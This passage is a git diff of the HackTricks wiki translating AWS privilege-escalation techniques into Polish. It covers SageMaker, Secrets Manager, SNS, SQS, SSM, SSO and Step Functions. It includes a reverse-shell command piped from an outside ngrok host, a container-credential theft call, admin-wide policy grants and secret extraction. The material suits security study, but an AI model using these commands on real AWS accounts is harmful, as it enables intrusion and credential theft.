> ``` - ```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ - --training-job-name privescjob \ - --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ - --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ - --role-arn \ - --output-data-config '{"S3OutputPath": "s3://"}' \ - --stopping-condition '{"MaxRuntimeInSeconds": 600}' +--training-job-name privescjob \ +--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ +--algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ +--role-arn \ +--output-data-config '{"S3OutputPath": "s3://"}' \ +--stopping-condition '{"MaxRuntimeInSeconds": 600}' #To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Potencjalny wpływ:** Privesc do roli serwisu sagemaker określonej. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -An attacker with those permissions will (potentially) be able to create an **hyperparameter training job**, **running an arbitrary container** on it with a **role attached** to it.\ -&#xNAN;_I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details._ +Atakujący z tymi uprawnieniami będzie (potencjalnie) w stanie stworzyć **zadanie treningowe hyperparametrów**, **uruchamiając dowolny kontener** na nim z **przypisaną rolą**.\ +&#xNAN;_I nie wykorzystałem, z powodu braku czasu, ale wygląda podobnie do wcześniejszych exploitów, śmiało wyślij PR z szczegółami eksploatacji._ -## References +## Odniesienia - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index bdc01433b..219d542a8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more info about secrets manager check: +Aby uzyskać więcej informacji na temat menedżera sekretów, sprawdź: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,44 +12,34 @@ For more info about secrets manager check: ### `secretsmanager:GetSecretValue` -An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**. - +Atakujący z tym uprawnieniem może uzyskać **zapisana wartość wewnątrz sekretu** w AWS **Secretsmanager**. ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` - -**Potential Impact:** Access high sensitive data inside AWS secrets manager service. +**Potencjalny wpływ:** Uzyskanie dostępu do wysoce wrażliwych danych w usłudze AWS Secrets Manager. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)). - +Dzięki wcześniejszym uprawnieniom możliwe jest **przyznanie dostępu innym podmiotom/kontom (nawet zewnętrznym)** do uzyskania dostępu do **sekretu**. Należy pamiętać, że aby **odczytać sekrety zaszyfrowane** kluczem KMS, użytkownik musi również mieć **dostęp do klucza KMS** (więcej informacji na stronie [KMS Enum](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "secretsmanager:GetSecretValue", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 699bb58cf..833e75b8f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,36 +12,26 @@ For more information check: ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Napastnik mógłby wysłać złośliwe lub niechciane wiadomości do tematu SNS, co potencjalnie mogłoby spowodować uszkodzenie danych, wywołanie niezamierzonych działań lub wyczerpanie zasobów. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Potencjalny wpływ**: Wykorzystanie podatności, uszkodzenie danych, niezamierzone działania lub wyczerpanie zasobów. ### `sns:Subscribe` -An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Napastnik mógłby subskrybować temat SNS, potencjalnie uzyskując nieautoryzowany dostęp do wiadomości lub zakłócając normalne funkcjonowanie aplikacji polegających na tym temacie. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` - -**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic. +**Potencjalny wpływ**: Nieautoryzowany dostęp do wiadomości (wrażliwe informacje), zakłócenie działania aplikacji polegających na dotkniętym temacie. ### `sns:AddPermission` -An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions. - +Napastnik mógłby przyznać nieautoryzowanym użytkownikom lub usługom dostęp do tematu SNS, potencjalnie uzyskując dalsze uprawnienia. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**Potencjalny wpływ**: Nieautoryzowany dostęp do tematu, ujawnienie wiadomości lub manipulacja tematem przez nieautoryzowanych użytkowników lub usługi, zakłócenie normalnego funkcjonowania aplikacji polegających na temacie. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 384ed8430..40ddbbc56 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -4,7 +4,7 @@ ## SQS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,39 +12,29 @@ For more information check: ### `sqs:AddPermission` -An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities. - +Napastnik mógłby wykorzystać tę uprawnienie do przyznania nieautoryzowanym użytkownikom lub usługom dostępu do kolejki SQS, tworząc nowe zasady lub modyfikując istniejące zasady. Może to prowadzić do nieautoryzowanego dostępu do wiadomości w kolejce lub manipulacji kolejką przez nieautoryzowane podmioty. ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**Potencjalny wpływ**: Nieautoryzowany dostęp do kolejki, ujawnienie wiadomości lub manipulacja kolejką przez nieautoryzowanych użytkowników lub usługi. ### `sqs:SendMessage` , `sqs:SendMessageBatch` -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Napastnik mógłby wysłać złośliwe lub niechciane wiadomości do kolejki SQS, co potencjalnie mogłoby prowadzić do uszkodzenia danych, wywołania niezamierzonych działań lub wyczerpania zasobów. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Potencjalny wpływ**: Wykorzystanie luk, uszkodzenie danych, niezamierzone działania lub wyczerpanie zasobów. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Napastnik mógłby odbierać, usuwać lub modyfikować widoczność wiadomości w kolejce SQS, co prowadziłoby do utraty wiadomości, uszkodzenia danych lub zakłócenia działania aplikacji polegających na tych wiadomościach. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Potencjalny wpływ**: Kradzież wrażliwych informacji, utrata wiadomości, uszkodzenie danych oraz zakłócenie działania aplikacji polegających na dotkniętych wiadomościach. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index c4067e2ca..6e84b5026 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -4,7 +4,7 @@ ## SSM -For more info about SSM check: +Aby uzyskać więcej informacji o SSM, sprawdź: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,8 +12,7 @@ For more info about SSM check: ### `ssm:SendCommand` -An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +Atakujący z uprawnieniem **`ssm:SendCommand`** może **wykonywać polecenia w instancjach** działających z Amazon SSM Agent i **skompromitować rolę IAM** działającą w jej wnętrzu. ```bash # Check for configured instances aws ssm describe-instance-information @@ -21,26 +20,22 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` - -In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with: - +W przypadku, gdy używasz tej techniki do eskalacji uprawnień w już skompromitowanej instancji EC2, możesz po prostu przechwycić rev shell lokalnie za pomocą: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Potencjalny wpływ:** Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM. ### `ssm:StartSession` -An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +Atakujący z uprawnieniem **`ssm:StartSession`** może **rozpocząć sesję podobną do SSH w instancjach** uruchamiających agenta Amazon SSM i **skompromitować rolę IAM** działającą wewnątrz niej. ```bash # Check for configured instances aws ssm describe-instance-information @@ -49,68 +44,58 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm start-session --target "$INSTANCE_ID" ``` - > [!CAUTION] -> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Aby rozpocząć sesję, musisz mieć zainstalowany **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Potencjalny wpływ:** Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM. -#### Privesc to ECS - -When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ -According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\ -Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running: +#### Privesc do ECS +Gdy **zadania ECS** są uruchamiane z **włączonym `ExecuteCommand`**, użytkownicy z wystarczającymi uprawnieniami mogą użyć `ecs execute-command`, aby **wykonać polecenie** wewnątrz kontenera.\ +Zgodnie z [**dokumentacją**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) odbywa się to poprzez utworzenie bezpiecznego kanału między urządzeniem, którego używasz do inicjowania polecenia “_exec_”, a docelowym kontenerem z SSM Session Manager. (Wtyczka SSM Session Manager jest niezbędna do działania)\ +Dlatego użytkownicy z `ssm:StartSession` będą mogli **uzyskać powłokę wewnątrz zadań ECS** z tą opcją włączoną, po prostu uruchamiając: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` - ![](<../../../images/image (185).png>) -**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled. +**Potencjalny wpływ:** Bezpośrednie privesc do ról `ECS`IAM przypisanych do uruchomionych zadań z włączonym `ExecuteCommand`. ### `ssm:ResumeSession` -An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it. - +Atakujący z uprawnieniem **`ssm:ResumeSession`** może ponownie **uruchomić sesję podobną do SSH w instancjach** uruchamiających Amazon SSM Agent w stanie sesji SSM **rozłączonej** i **skompromitować rolę IAM** działającą w jej obrębie. ```bash # Check for configured instances aws ssm describe-sessions # Get resume data (you will probably need to do something else with this info to connect) aws ssm resume-session \ - --session-id Mary-Major-07a16060613c408b5 +--session-id Mary-Major-07a16060613c408b5 ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions. +**Potencjalny wpływ:** Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM i rozłączonymi sesjami. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys. - +Atakujący z wymienionymi uprawnieniami będzie w stanie wylistować **parametry SSM** i **odczytać je w postaci niezaszyfrowanej**. W tych parametrach często można **znaleźć wrażliwe informacje** takie jak klucze SSH lub klucze API. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` - -**Potential Impact:** Find sensitive information inside the parameters. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji w parametrach. ### `ssm:ListCommands` -An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them. - +Atakujący z tym uprawnieniem może wylistować wszystkie **komendy** wysłane i mieć nadzieję na znalezienie **wrażliwych informacji** w nich. ``` aws ssm list-commands ``` - -**Potential Impact:** Find sensitive information inside the command lines. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji w liniach poleceń. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it. - +Atakujący z tymi uprawnieniami może wylistować wszystkie **polecenia** wysłane i **przeczytać wyniki** generowane, mając nadzieję na znalezienie **wrażliwych informacji** w nich. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -118,19 +103,14 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` - -**Potential Impact:** Find sensitive information inside the output of the command lines. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji w wynikach poleceń. ### Codebuild -You can also use SSM to get inside a codebuild project being built: +Możesz również użyć SSM, aby uzyskać dostęp do projektu codebuild, który jest budowany: {{#ref}} aws-codebuild-privesc.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 0fb4e10a1..49be6b2bd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -4,58 +4,53 @@ ## AWS Identity Center / AWS SSO -For more information about AWS Identity Center / AWS SSO check: +Aby uzyskać więcej informacji na temat AWS Identity Center / AWS SSO, sprawdź: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\ -> Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\ -> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> Zauważ, że **domyślnie** tylko **użytkownicy** z uprawnieniami **z** **Konta Zarządzającego** będą mogli uzyskać dostęp i **kontrolować IAM Identity Center**.\ +> Użytkownicy z innych kont mogą to zrobić tylko, jeśli konto jest **Delegowanym Administratorem.**\ +> [Sprawdź dokumentację, aby uzyskać więcej informacji.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) -### ~~Reset Password~~ +### ~~Resetuj hasło~~ -An easy way to escalate privileges in cases like this one would be to have a permission that allows to reset users passwords. Unfortunately it's only possible to send an email to the user to reset his password, so you would need access to the users email. +Łatwym sposobem na eskalację uprawnień w takich przypadkach byłoby posiadanie uprawnienia, które pozwala na resetowanie haseł użytkowników. Niestety, możliwe jest tylko wysłanie e-maila do użytkownika w celu zresetowania jego hasła, więc potrzebujesz dostępu do e-maila użytkownika. ### `identitystore:CreateGroupMembership` -With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has. - +Dzięki temu uprawnieniu możliwe jest dodanie użytkownika do grupy, aby odziedziczył wszystkie uprawnienia, które ma grupa. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` - ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Napastnik z tym uprawnieniem mógłby przyznać dodatkowe uprawnienia do Zestawu Uprawnień, który został przyznany użytkownikowi pod jego kontrolą. ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml # Content of /tmp/policy.yaml { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Statement1", - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Statement1", +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Napastnik z tym uprawnieniem mógłby przyznać dodatkowe uprawnienia do Zestawu Uprawnień, który został przyznany użytkownikowi pod jego kontrolą. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -63,14 +58,12 @@ aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control. +Napastnik z tymi uprawnieniami mógłby przyznać dodatkowe uprawnienia do Zestawu Uprawnień, który jest przyznany użytkownikowi pod jego kontrolą. > [!WARNING] -> To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected. - +> Aby nadużyć tych uprawnień w tym przypadku, musisz znać **nazwę polityki zarządzanej przez klienta, która znajduje się we WSZYSTKICH kontach**, które będą miały wpływ. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -78,59 +71,42 @@ aws sso-admin attach-customer-managed-policy-reference-to-permission-set --insta # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:CreateAccountAssignment` -An attacker with this permission could give a Permission Set to a user under his control to an account. - +Napastnik z tym uprawnieniem mógłby przypisać Zestaw Uprawnień użytkownikowi pod jego kontrolą do konta. ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` - ### `sso:GetRoleCredentials` -Returns the STS short-term credentials for a given role name that is assigned to the user. - +Zwraca krótkoterminowe poświadczenia STS dla podanej nazwy roli przypisanej do użytkownika. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` - -However, you need an access token that I'm not sure how to get (TODO). +Jednak potrzebujesz tokena dostępu, którego nie jestem pewien, jak uzyskać (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Atakujący z tym uprawnieniem może usunąć powiązanie między zarządzaną polityką AWS a określonym zestawem uprawnień. Możliwe jest przyznanie większych uprawnień poprzez **odłączenie zarządzanej polityki (polityka odmowy)**. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` - ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Napastnik z tym uprawnieniem może usunąć powiązanie między polityką zarządzaną przez klienta a określonym zestawem uprawnień. Możliwe jest przyznanie większych uprawnień poprzez **odłączenie polityki zarządzanej (polityka odmowy)**. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` - ### `sso:DeleteInlinePolicyFromPermissionSet` -An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**. - +Napastnik z tym uprawnieniem może usunąć uprawnienia z polityki inline z zestawu uprawnień. Możliwe jest przyznanie **większych uprawnień poprzez odłączenie polityki inline (polityka odmowy)**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` - ### `sso:DeletePermissionBoundaryFromPermissionSet` -An attacker with this permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary. - +Napastnik z tym uprawnieniem może usunąć Granicę Uprawnień z zestawu uprawnień. Możliwe jest przyznanie **większych uprawnień poprzez usunięcie ograniczeń na Zestawie Uprawnień** nadanych przez Granicę Uprawnień. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index bfc3adb77..ff06fe5b9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -4,7 +4,7 @@ ## Step Functions -For more information about this AWS service, check: +Aby uzyskać więcej informacji na temat tej usługi AWS, sprawdź: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,65 +12,58 @@ For more information about this AWS service, check: ### Task Resources -These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions. +Te techniki eskalacji uprawnień będą wymagały użycia niektórych zasobów funkcji kroków AWS, aby wykonać pożądane działania eskalacji uprawnień. -In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in: +Aby sprawdzić wszystkie możliwe akcje, możesz przejść do swojego konta AWS, wybrać akcję, którą chcesz użyć, i zobaczyć parametry, które wykorzystuje, jak w:
-Or you could also go to the API AWS documentation and check each action docs: +Możesz również przejść do dokumentacji API AWS i sprawdzić dokumentację każdej akcji: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation. - +Napastnik z uprawnieniami **`states:TestState`** i **`iam:PassRole`** może testować dowolny stan i przekazywać do niego dowolną rolę IAM bez tworzenia lub aktualizowania istniejącej maszyny stanów, co umożliwia nieautoryzowany dostęp do innych usług AWS z uprawnieniami ról. W połączeniu te uprawnienia mogą prowadzić do szerokich nieautoryzowanych działań, od manipulacji przepływami pracy po modyfikację danych, naruszenia danych, manipulację zasobami i eskalację uprawnień. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` - -The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action: +Przykłady te pokazują, jak przetestować stan, który tworzy klucz dostępu dla użytkownika **`admin`**, wykorzystując te uprawnienia i permissywną rolę w środowisku AWS. Ta permissywna rola powinna mieć przypisaną jakąkolwiek politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala stanowi na wykonanie akcji **`iam:CreateAccessKey`**: - **stateDefinition.json**: - ```json { - "Type": "Task", - "Parameters": { - "UserName": "admin" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "End": true +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true } ``` - -- **Command** executed to perform the privesc: - +- **Polecenie** wykonane w celu przeprowadzenia privesc: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole { - "output": "{ - \"AccessKey\":{ - \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", - \"CreateDate\":\"2024-07-09T16:59:11Z\", - \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", - \"Status\":\"Active\", - \"UserName\":\"admin\" - } - }", - "status": "SUCCEEDED" +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or 